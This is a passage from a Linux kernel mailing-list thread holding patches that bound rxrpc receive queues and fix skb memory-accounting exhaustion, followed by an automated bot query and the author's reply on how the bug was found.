@@ -480,8 +492,10 @@ static bool rxrpc_post_challenge(struct rxrpc_connection *conn,
 		return false;
 	}
 
-	if (!call)
-		rxrpc_post_packet_to_conn(conn, skb);
+	if (!call && !rxrpc_post_packet_to_conn(conn, skb)) {
+		rxrpc_put_connection(conn, rxrpc_conn_put_challenge_input);
+		sp->chall.conn = NULL;
+	}
 	return true;
 }
 
diff --git a/net/rxrpc/conn_object.c b/net/rxrpc/conn_object.c
index 0ece717db0f85..d85345e014a9f 100644
--- a/net/rxrpc/conn_object.c
+++ b/net/rxrpc/conn_object.c
@@ -300,6 +300,19 @@ static void rxrpc_rcu_free_connection(struct rcu_head *rcu)
 		wake_up_var(&rxnet->nr_conns);
 }
 
+/*
+ * Purge a connection's receive queue, updating the local queue accounting.
+ */
+static void rxrpc_purge_conn_queue(struct rxrpc_connection *conn)
+{
+	struct sk_buff *skb;
+
+	while ((skb = skb_dequeue(&conn->rx_queue))) {
+		rxrpc_uncharge_async_queue(conn->local, skb);
+		rxrpc_free_skb(skb, rxrpc_skb_put_purge);
+	}
+}
+
 /*
  * Clean up a dead connection.
  */
@@ -329,7 +342,7 @@ static void rxrpc_clean_up_connection(struct work_struct *work)
 		conn->peer->pmtud_pending = true;
 	}
 
-	rxrpc_purge_queue(&conn->rx_queue);
+	rxrpc_purge_conn_queue(conn);
 	rxrpc_free_skb(conn->tx_response, rxrpc_skb_put_response);
 
 	rxrpc_kill_client_conn(conn);
@@ -338,15 +351,15 @@ static void rxrpc_clean_up_connection(struct work_struct *work)
 	key_put(conn->key);
 	rxrpc_put_bundle(conn->bundle, rxrpc_bundle_put_conn);
 	rxrpc_put_peer(conn->peer, rxrpc_peer_put_conn);
-	rxrpc_put_local(conn->local, rxrpc_local_put_kill_conn);
 
 	/* Drain the Rx queue.  Note that even though we've unpublished, an
 	 * incoming packet could still be being added to our Rx queue, so we
 	 * will need to drain it again in the RCU cleanup handler.
 	 */
-	rxrpc_purge_queue(&conn->rx_queue);
+	rxrpc_purge_conn_queue(conn);
 
 	page_frag_cache_drain(&conn->tx_data_alloc);
+	rxrpc_put_local(conn->local, rxrpc_local_put_kill_conn);
 	call_rcu(&conn->rcu, rxrpc_rcu_free_connection);
 }
 
diff --git a/net/rxrpc/io_thread.c b/net/rxrpc/io_thread.c
index 634a6e1cab87a..8679402c03e1b 100644
--- a/net/rxrpc/io_thread.c
+++ b/net/rxrpc/io_thread.c
@@ -528,6 +528,8 @@ int rxrpc_io_thread(void *data)
 
 			if (skb->mark == RXRPC_SKB_MARK_PACKET)
 				rxrpc_skb_orphan_udp(skb);
+			else if (skb->mark == RXRPC_SKB_MARK_SERVICE_CONN_SECURED)
+				rxrpc_uncharge_async_queue(sp->poke_conn->local, skb);
 			switch (skb->mark) {
 			case RXRPC_SKB_MARK_PACKET:
 				skb->priority = 0;
diff --git a/net/rxrpc/local_object.c b/net/rxrpc/local_object.c
index f519a93059244..8e43f77d43683 100644
--- a/net/rxrpc/local_object.c
+++ b/net/rxrpc/local_object.c
@@ -137,6 +137,7 @@ static struct rxrpc_local *rxrpc_alloc_local(struct net *net,
 		skb_queue_head_init(&local->rx_delay_queue);
 #endif
 		skb_queue_head_init(&local->rx_queue);
+		atomic_long_set(&local->rx_async_queue_bytes, 0);
 		INIT_LIST_HEAD(&local->conn_attend_q);
 		INIT_LIST_HEAD(&local->call_attend_q);
 
diff --git a/net/rxrpc/oob.c b/net/rxrpc/oob.c
index c80ee2487d094..5ab4ec5ad8c31 100644
--- a/net/rxrpc/oob.c
+++ b/net/rxrpc/oob.c
@@ -46,7 +46,8 @@ bool rxrpc_notify_socket_oob(struct rxrpc_call *call, struct sk_buff *skb)
 		sk = &rx->sk;
 		spin_lock_irq(&rx->recvmsg_lock);
 
-		if (sk->sk_state < RXRPC_CLOSE) {
+		if (sk->sk_state < RXRPC_CLOSE &&
+		    rxrpc_charge_async_queue(sp->chall.conn->local, skb)) {
 			skb->skb_mstamp_ns = rx->oob_id_counter++;
 			rxrpc_get_skb(skb, rxrpc_skb_get_post_oob);
 			skb_queue_tail(&rx->recvmsg_oobq, skb);
@@ -215,6 +216,7 @@ static int rxrpc_respond_to_oob(struct rxrpc_sock *rx,
 
 	switch (skb->mark) {
 	case RXRPC_OOB_CHALLENGE:
+		rxrpc_uncharge_async_queue(sp->chall.conn->local, skb);
 		rxrpc_put_connection(sp->chall.conn, rxrpc_conn_put_oob);
 		break;
 	}
@@ -329,6 +331,7 @@ void rxrpc_kernel_free_oob(struct sk_buff *oob)
 
 	switch (oob->mark) {
 	case RXRPC_OOB_CHALLENGE:
+		rxrpc_uncharge_async_queue(sp->chall.conn->local, oob);
 		rxrpc_put_connection(sp->chall.conn, rxrpc_conn_put_oob);
 		break;
 	}
diff --git a/net/rxrpc/skbuff.c b/net/rxrpc/skbuff.c
index e2169d1a14b5f..a5113a284456e 100644
--- a/net/rxrpc/skbuff.c
+++ b/net/rxrpc/skbuff.c
@@ -58,6 +58,39 @@ void rxrpc_free_skb(struct sk_buff *skb, enum rxrpc_skb_trace why)
 	}
 }
 
+/*
+ * Charge an skb retained outside UDP receive-memory accounting.
+ */
+bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+{
+	struct sock *sk = local->socket->sk;
+	long rcvbuf;
+	long queued;
+
+	rcvbuf = READ_ONCE(sk->sk_rcvbuf);
+
+	for (;;) {
+		queued = atomic_long_read(&local->rx_async_queue_bytes);
+		if (queued &&
+		    (queued >= rcvbuf ||
+		     (long)skb->truesize >= rcvbuf - queued)) {
+			sk_drops_inc(sk);
+			return false;
+		}
+		if (atomic_long_cmpxchg(&local->rx_async_queue_bytes, queued,
+					queued + (long)skb->truesize) == queued)
+			return true;
+	}
+}
+
+/*
+ * Release the asynchronous receive charge on an skb.
+ */
+void rxrpc_uncharge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+{
+	atomic_long_sub(skb->truesize, &local->rx_async_queue_bytes);
+}
+
 /*
  * Clear a queue of socket buffers.
  */
@@ -66,7 +99,15 @@ void rxrpc_purge_queue(struct sk_buff_head *list)
 	struct sk_buff *skb;
 
 	while ((skb = skb_dequeue((list))) != NULL) {
-		int n = atomic_dec_return(select_skb_count(skb));
+		int n;
+
+		if (skb->mark == RXRPC_SKB_MARK_SERVICE_CONN_SECURED) {
+			struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+
+			rxrpc_uncharge_async_queue(sp->poke_conn->local, skb);
+			rxrpc_put_connection(sp->poke_conn, rxrpc_conn_put_poke);
+		}
+		n = atomic_dec_return(select_skb_count(skb));
 		trace_rxrpc_skb(skb, refcount_read(&skb->users), n,
 				rxrpc_skb_put_purge);
 		consume_skb(skb);
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 6+ messages in thread

* [PATCH net v9 3/3] rxrpc: bound DATA receive queues
  2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
  2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
  2026-10-14 16:58 ` [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues Zihan Xi
@ 2026-10-14 16:58 ` Zihan Xi
  2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
  3 siblings, 0 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
  To: linux-afs, netdev
  Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
	zihanx

DATA packets retained in per-call buffers are not covered by common socket
receive-memory accounting. Separate calls can therefore accumulate more
DATA than the shared limit. The receive window also advances as packets
arrive, while rx_consumed advances only as the application reads them, so a
single call can retain more unconsumed DATA than the window should allow.

Charge accepted DATA to the per-local asynchronous receive budget and base
the per-call receive window on rx_consumed. Account split jumbo skbs and
release the charge when packets are consumed or purged.

Fixes: 248f219cb8bc ("rxrpc: Rewrite the data and ack handling code")
Fixes: 5d7edbc9231e ("rxrpc: Get rid of the Rx ring")
Cc: stable@vger.kernel.org
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v9:
  - Split DATA receive-window and per-local aggregate queue accounting
    from connection/OOB queue budgeting.
  - Attribute the aggregate DATA accounting gap to 248f219cb8bc and retain
    5d7edbc9231e for the receive-window accounting issue.
  - v8 Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
---
 net/rxrpc/ar-internal.h | 23 ++++++++++-
 net/rxrpc/call_event.c  |  1 +
 net/rxrpc/call_object.c |  4 +-
 net/rxrpc/input.c       | 83 +++++++++++++++++++++++++------------
 net/rxrpc/recvmsg.c     |  3 +-
 net/rxrpc/skbuff.c      | 92 +++++++++++++++++++++++++++++++++++++----
 6 files changed, 168 insertions(+), 38 deletions(-)

diff --git a/net/rxrpc/ar-internal.h b/net/rxrpc/ar-internal.h
index 36fc4609181e1..1f1f49eca8e11 100644
--- a/net/rxrpc/ar-internal.h
+++ b/net/rxrpc/ar-internal.h
@@ -50,6 +50,7 @@ struct key_preparsed_payload;
 struct rxrpc_connection;
 struct rxrpc_txbuf;
 struct rxrpc_txqueue;
+struct rxrpc_async_queue_charge;
 struct rxgk_context;
 
 /*
@@ -222,6 +223,15 @@ struct rxrpc_host_header {
 	u16		serviceId;	/* service ID */
 } __packed;
 
+/*
+ * Shared asynchronous receive-memory charge for split jumbo DATA packets.
+ */
+struct rxrpc_async_queue_charge {
+	refcount_t		ref;
+	long			size;
+	bool			charged;
+};
+
 /*
  * RxRPC socket buffer private variables
  * - max 48 bytes (struct sk_buff::cb)
@@ -233,6 +243,11 @@ struct rxrpc_skb_priv {
 			u16		offset;		/* Offset of data */
 			u16		len;		/* Length of data */
 		};
+		struct {
+			u16		offset;
+			u16		len;
+			struct rxrpc_async_queue_charge *charge;
+		} data;
 		struct {
 			rxrpc_seq_t	first_ack;	/* First packet in acks table */
 			rxrpc_seq_t	prev_ack;	/* Highest seq seen */
@@ -1517,8 +1532,12 @@ void rxrpc_new_skb(struct sk_buff *, enum rxrpc_skb_trace);
 void rxrpc_see_skb(struct sk_buff *, enum rxrpc_skb_trace);
 void rxrpc_get_skb(struct sk_buff *, enum rxrpc_skb_trace);
 void rxrpc_free_skb(struct sk_buff *, enum rxrpc_skb_trace);
-bool rxrpc_charge_async_queue(struct rxrpc_local *, struct sk_buff *);
-void rxrpc_uncharge_async_queue(struct rxrpc_local *, struct sk_buff *);
+struct rxrpc_async_queue_charge *rxrpc_alloc_async_queue_charge(struct sk_buff *skb);
+void rxrpc_put_async_queue_charge(struct rxrpc_local *local,
+				  struct rxrpc_async_queue_charge *charge);
+bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb);
+void rxrpc_uncharge_async_queue(struct rxrpc_local *local, struct sk_buff *skb);
+void rxrpc_purge_data_queue(struct rxrpc_call *call, struct sk_buff_head *list);
 void rxrpc_purge_queue(struct sk_buff_head *);
 
 /*
diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c
index 21be9c86d7a74..9360852604645 100644
--- a/net/rxrpc/call_event.c
+++ b/net/rxrpc/call_event.c
@@ -473,6 +473,7 @@ bool rxrpc_input_call_event(struct rxrpc_call *call)
 out:
 	if (__rxrpc_call_is_complete(call)) {
 		timer_delete_sync(&call->timer);
+		rxrpc_purge_queue(&call->rx_queue);
 		if (!test_bit(RXRPC_CALL_DISCONNECTED, &call->flags))
 			rxrpc_disconnect_call(call);
 		if (call->security)
diff --git a/net/rxrpc/call_object.c b/net/rxrpc/call_object.c
index 817ed9acb91e6..8f115be491249 100644
--- a/net/rxrpc/call_object.c
+++ b/net/rxrpc/call_object.c
@@ -553,9 +553,9 @@ static void rxrpc_cleanup_tx_buffers(struct rxrpc_call *call)
  */
 static void rxrpc_cleanup_rx_buffers(struct rxrpc_call *call)
 {
-	rxrpc_purge_queue(&call->recvmsg_queue);
+	rxrpc_purge_data_queue(call, &call->recvmsg_queue);
 	rxrpc_purge_queue(&call->rx_queue);
-	rxrpc_purge_queue(&call->rx_oos_queue);
+	rxrpc_purge_data_queue(call, &call->rx_oos_queue);
 	kfree(call->rx_dec_buffer);
 }
 
diff --git a/net/rxrpc/input.c b/net/rxrpc/input.c
index 73cafe6bfa9f5..6f0ba50097390 100644
--- a/net/rxrpc/input.c
+++ b/net/rxrpc/input.c
@@ -479,7 +479,9 @@ static void rxrpc_input_queue_data(struct rxrpc_call *call, struct sk_buff *skb,
  * Process a DATA packet.
  */
 static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
-				 bool *_notify, rxrpc_serial_t *_ack_serial, int *_ack_reason)
+				 bool *_notify, rxrpc_serial_t *_ack_serial,
+				 int *_ack_reason,
+				 struct rxrpc_async_queue_charge **_charge)
 {
 	struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
 	struct sk_buff *oos;
@@ -487,9 +489,13 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
 	unsigned int sack = call->ackr_sack_base;
 	rxrpc_seq_t window = call->ackr_window;
 	rxrpc_seq_t wtop = call->ackr_wtop;
-	rxrpc_seq_t wlimit = window + call->rx_winsize - 1;
+	/* Bound queued DATA by the application's receive window. */
+	rxrpc_seq_t wlimit = smp_load_acquire(&call->rx_consumed) +
+		call->rx_winsize;
 	rxrpc_seq_t seq = sp->hdr.seq;
 	bool last = sp->hdr.flags & RXRPC_LAST_PACKET;
+	bool set_last = false;
+	unsigned int slot = 0;
 	int ack_reason = -1;
 
 	rxrpc_inc_stat(call->rxnet, stat_rx_data);
@@ -498,10 +504,24 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
 	if (sp->hdr.flags & RXRPC_JUMBO_PACKET)
 		rxrpc_inc_stat(call->rxnet, stat_rx_data_jumbo);
 
+	if (after(seq, call->rx_highest_seq))
+		call->rx_highest_seq = seq;
+
+	trace_rxrpc_rx_data(call->debug_id, seq, serial, sp->hdr.flags);
+
+	if (after(seq, wlimit)) {
+		ack_reason = RXRPC_ACK_EXCEEDS_WINDOW;
+		goto send_ack;
+	}
+
 	if (last) {
-		if (test_and_set_bit(RXRPC_CALL_RX_LAST, &call->flags) &&
-		    seq + 1 != wtop)
-			return rxrpc_proto_abort(call, seq, rxrpc_eproto_different_last);
+		if (test_and_set_bit(RXRPC_CALL_RX_LAST, &call->flags)) {
+			if (seq + 1 != wtop)
+				return rxrpc_proto_abort(call, seq,
+							rxrpc_eproto_different_last);
+		} else {
+			set_last = true;
+		}
 	} else {
 		if (test_bit(RXRPC_CALL_RX_LAST, &call->flags) &&
 		    after_eq(seq, wtop)) {
@@ -511,17 +531,33 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
 		}
 	}
 
-	if (after(seq, call->rx_highest_seq))
-		call->rx_highest_seq = seq;
-
-	trace_rxrpc_rx_data(call->debug_id, seq, serial, sp->hdr.flags);
-
 	if (before(seq, window)) {
 		ack_reason = RXRPC_ACK_DUPLICATE;
 		goto send_ack;
 	}
-	if (after(seq, wlimit)) {
-		ack_reason = RXRPC_ACK_EXCEEDS_WINDOW;
+
+	if (seq != window) {
+		slot = seq - window;
+		sack = (sack + slot) % RXRPC_SACK_SIZE;
+
+		if (call->ackr_sack_table[sack]) {
+			ack_reason = RXRPC_ACK_DUPLICATE;
+			goto send_ack;
+		}
+	}
+
+	sp->data.charge = NULL;
+	if (sp->offset != sizeof(struct rxrpc_wire_header) ||
+	    (sp->hdr.flags & RXRPC_JUMBO_PACKET)) {
+		if (!*_charge)
+			*_charge = rxrpc_alloc_async_queue_charge(skb);
+		sp->data.charge = *_charge;
+	}
+	if (!rxrpc_charge_async_queue(call->local, skb)) {
+		sp->data.charge = NULL;
+		if (set_last)
+			clear_bit(RXRPC_CALL_RX_LAST, &call->flags);
+		ack_reason = RXRPC_ACK_NOSPACE;
 		goto send_ack;
 	}
 
@@ -568,19 +604,8 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
 
 		call->ackr_sack_base = sack;
 	} else {
-		unsigned int slot;
-
 		ack_reason = RXRPC_ACK_OUT_OF_SEQUENCE;
-
-		slot = seq - window;
-		sack = (sack + slot) % RXRPC_SACK_SIZE;
-
-		if (call->ackr_sack_table[sack % RXRPC_SACK_SIZE]) {
-			ack_reason = RXRPC_ACK_DUPLICATE;
-			goto send_ack;
-		}
-
-		call->ackr_sack_table[sack % RXRPC_SACK_SIZE] |= 1;
+		call->ackr_sack_table[sack] |= 1;
 		trace_rxrpc_sack(call, seq, sack, rxrpc_sack_oos);
 
 		if (after(seq + 1, wtop)) {
@@ -623,6 +648,7 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
  */
 static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb)
 {
+	struct rxrpc_async_queue_charge *charge = NULL;
 	struct rxrpc_jumbo_header jhdr;
 	struct rxrpc_skb_priv *sp = rxrpc_skb(skb), *jsp;
 	struct sk_buff *jskb;
@@ -644,13 +670,15 @@ static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb
 		jskb = skb_clone(skb, GFP_NOFS);
 		if (!jskb) {
 			kdebug("couldn't clone");
+			rxrpc_put_async_queue_charge(call->local, charge);
 			return false;
 		}
 		rxrpc_new_skb(jskb, rxrpc_skb_new_jumbo_subpacket);
 		jsp = rxrpc_skb(jskb);
 		jsp->offset = offset;
 		jsp->len = RXRPC_JUMBO_DATALEN;
-		rxrpc_input_data_one(call, jskb, &notify, &ack_serial, &ack_reason);
+		rxrpc_input_data_one(call, jskb, &notify, &ack_serial, &ack_reason,
+				    &charge);
 		rxrpc_free_skb(jskb, rxrpc_skb_put_jumbo_subpacket);
 
 		sp->hdr.flags = jhdr.flags;
@@ -664,7 +692,8 @@ static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb
 
 	sp->offset = offset;
 	sp->len    = len;
-	rxrpc_input_data_one(call, skb, &notify, &ack_serial, &ack_reason);
+	rxrpc_input_data_one(call, skb, &notify, &ack_serial, &ack_reason,
+			    &charge);
 
 	stat_ix = umin(count, ARRAY_SIZE(call->rxnet->stat_rx_jumbo)) - 1;
 	atomic_inc(&call->rxnet->stat_rx_jumbo[stat_ix]);
@@ -681,9 +710,11 @@ static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb
 		trace_rxrpc_notify_socket(call->debug_id, sp->hdr.serial);
 		rxrpc_notify_socket(call);
 	}
+	rxrpc_put_async_queue_charge(call->local, charge);
 	return true;
 
 protocol_error:
+	rxrpc_put_async_queue_charge(call->local, charge);
 	return false;
 }
 
diff --git a/net/rxrpc/recvmsg.c b/net/rxrpc/recvmsg.c
index efcba4b2e74f0..9f84fc5e74593 100644
--- a/net/rxrpc/recvmsg.c
+++ b/net/rxrpc/recvmsg.c
@@ -118,6 +118,7 @@ static void rxrpc_rotate_rx_window(struct rxrpc_call *call)
 
 	skb = skb_dequeue(&call->recvmsg_queue);
 	rxrpc_see_skb(skb, rxrpc_skb_see_rotate);
+	rxrpc_uncharge_async_queue(call->local, skb);
 
 	sp = rxrpc_skb(skb);
 	tseq   = sp->hdr.seq;
@@ -565,7 +566,7 @@ int rxrpc_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
 	goto not_yet_complete;
 
 call_failed:
-	rxrpc_purge_queue(&call->recvmsg_queue);
+	rxrpc_purge_data_queue(call, &call->recvmsg_queue);
 call_complete:
 	ret = rxrpc_recvmsg_term(call, msg);
 	if (ret < 0)
diff --git a/net/rxrpc/skbuff.c b/net/rxrpc/skbuff.c
index a5113a284456e..3b999200b6fc6 100644
--- a/net/rxrpc/skbuff.c
+++ b/net/rxrpc/skbuff.c
@@ -10,6 +10,7 @@
 #include <linux/module.h>
 #include <linux/net.h>
 #include <linux/skbuff.h>
+#include <linux/slab.h>
 #include <net/sock.h>
 #include <net/af_rxrpc.h>
 #include "ar-internal.h"
@@ -58,10 +59,7 @@ void rxrpc_free_skb(struct sk_buff *skb, enum rxrpc_skb_trace why)
 	}
 }
 
-/*
- * Charge an skb retained outside UDP receive-memory accounting.
- */
-bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+static bool rxrpc_charge_async_queue_bytes(struct rxrpc_local *local, long size)
 {
 	struct sock *sk = local->socket->sk;
 	long rcvbuf;
@@ -72,25 +70,105 @@ bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
 	for (;;) {
 		queued = atomic_long_read(&local->rx_async_queue_bytes);
 		if (queued &&
-		    (queued >= rcvbuf ||
-		     (long)skb->truesize >= rcvbuf - queued)) {
+		    (queued >= rcvbuf || size >= rcvbuf - queued)) {
 			sk_drops_inc(sk);
 			return false;
 		}
 		if (atomic_long_cmpxchg(&local->rx_async_queue_bytes, queued,
-					queued + (long)skb->truesize) == queued)
+					queued + size) == queued)
 			return true;
 	}
 }
 
+struct rxrpc_async_queue_charge *rxrpc_alloc_async_queue_charge(struct sk_buff *skb)
+{
+	struct rxrpc_async_queue_charge *charge;
+
+	charge = kzalloc(sizeof(*charge), GFP_NOFS);
+	if (!charge)
+		return NULL;
+
+	refcount_set(&charge->ref, 1);
+	charge->size = skb->truesize + sizeof(*charge);
+	return charge;
+}
+
+void rxrpc_put_async_queue_charge(struct rxrpc_local *local,
+				  struct rxrpc_async_queue_charge *charge)
+{
+	if (charge && refcount_dec_and_test(&charge->ref)) {
+		if (charge->charged)
+			atomic_long_sub(charge->size, &local->rx_async_queue_bytes);
+		kfree(charge);
+	}
+}
+
+/*
+ * Charge an skb retained outside UDP receive-memory accounting.
+ */
+bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+{
+	struct rxrpc_async_queue_charge *charge = NULL;
+	struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+	long size = 0;
+
+	if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA)
+		charge = sp->data.charge;
+
+	if (charge) {
+		bool clone = sp->hdr.flags & RXRPC_JUMBO_PACKET;
+
+		if (!charge->charged) {
+			size = charge->size;
+			if (clone)
+				size += SKB_DATA_ALIGN(sizeof(struct sk_buff));
+		} else if (clone) {
+			size = SKB_DATA_ALIGN(sizeof(struct sk_buff));
+		}
+		if (size && !rxrpc_charge_async_queue_bytes(local, size))
+			return false;
+		charge->charged = true;
+		refcount_inc(&charge->ref);
+		return true;
+	}
+	return rxrpc_charge_async_queue_bytes(local, (long)skb->truesize);
+}
+
 /*
  * Release the asynchronous receive charge on an skb.
  */
 void rxrpc_uncharge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
 {
+	struct rxrpc_async_queue_charge *charge;
+	struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+
+	if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA) {
+		charge = sp->data.charge;
+		if (charge) {
+			sp->data.charge = NULL;
+			if (sp->hdr.flags & RXRPC_JUMBO_PACKET)
+				atomic_long_sub(SKB_DATA_ALIGN(sizeof(struct sk_buff)),
+						&local->rx_async_queue_bytes);
+			rxrpc_put_async_queue_charge(local, charge);
+			return;
+		}
+	}
 	atomic_long_sub(skb->truesize, &local->rx_async_queue_bytes);
 }
 
+/*
+ * Purge DATA from a call's receive queue and release its per-local charge.
+ */
+void rxrpc_purge_data_queue(struct rxrpc_call *call, struct sk_buff_head *list)
+{
+	struct sk_buff *skb;
+
+	while ((skb = skb_dequeue(list)) != NULL) {
+		rxrpc_uncharge_async_queue(call->local, skb);
+		rxrpc_free_skb(skb, rxrpc_skb_put_purge);
+	}
+}
+
 /*
  * Clear a queue of socket buffers.
  */
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 6+ messages in thread

* Re: [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion
  2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
                   ` (2 preceding siblings ...)
  2026-10-14 16:58 ` [PATCH net v9 3/3] rxrpc: bound DATA " Zihan Xi
@ 2026-10-14 17:10 ` netdev-bot+sinfo
  2026-10-14 17:37   ` zihan xi
  3 siblings, 1 reply; 6+ messages in thread
From: netdev-bot+sinfo @ 2026-10-14 17:10 UTC (permalink / raw)
  To: Zihan Xi
  Cc: linux-afs, netdev, dhowells, marc.dionne, davem, edumazet, pabeni,
	horms, vega, root

Hi!

This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:

 - How the issue was discovered, e.g. hit in production, hit during
   development, syzbot report, manual code inspection, LLM or static
   analysis tool scan.

Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.

The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion
  2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
@ 2026-10-14 17:37   ` zihan xi
  0 siblings, 0 replies; 6+ messages in thread
From: zihan xi @ 2026-10-14 17:37 UTC (permalink / raw)
  To: netdev-bot+sinfo
  Cc: linux-afs, netdev, dhowells, marc.dionne, davem, edumazet, pabeni,
	horms, vega, root

On Thu, Oct 15, 2026 at 1:10 AM <netdev-bot+sinfo@kernel.org> wrote:
>
> Hi!
>
> This is an automated message. This series looks like a fix, but its
> commit messages seem to be missing some information:
>
>  - How the issue was discovered, e.g. hit in production, hit during
>    development, syzbot report, manual code inspection, LLM or static
>    analysis tool scan.
>
> Please do not repost the series just to address the above. Instead,
> reply to this email with the missing information, so that reviewers
> can take it into account. If the series needs another revision for
> other reasons, please include the information in the commit messages
> then.
>
> The evaluation is done by an LLM so it may be wrong, if you think
> that is the case please reply and explain.

 Hi,

 The issue was identified during development through LLM-assisted
code-path review of RxRPC receive-memory
 accounting, followed by manual inspection. We then validated it with
a PoC against the unpatched baseline in a QEMU
 guest. It was not reported from production or by syzbot.

 Thanks,
 Zihan

^ permalink raw reply	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2026-10-14 17:37 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 3/3] rxrpc: bound DATA " Zihan Xi
2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
2026-10-14 17:37   ` zihan xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox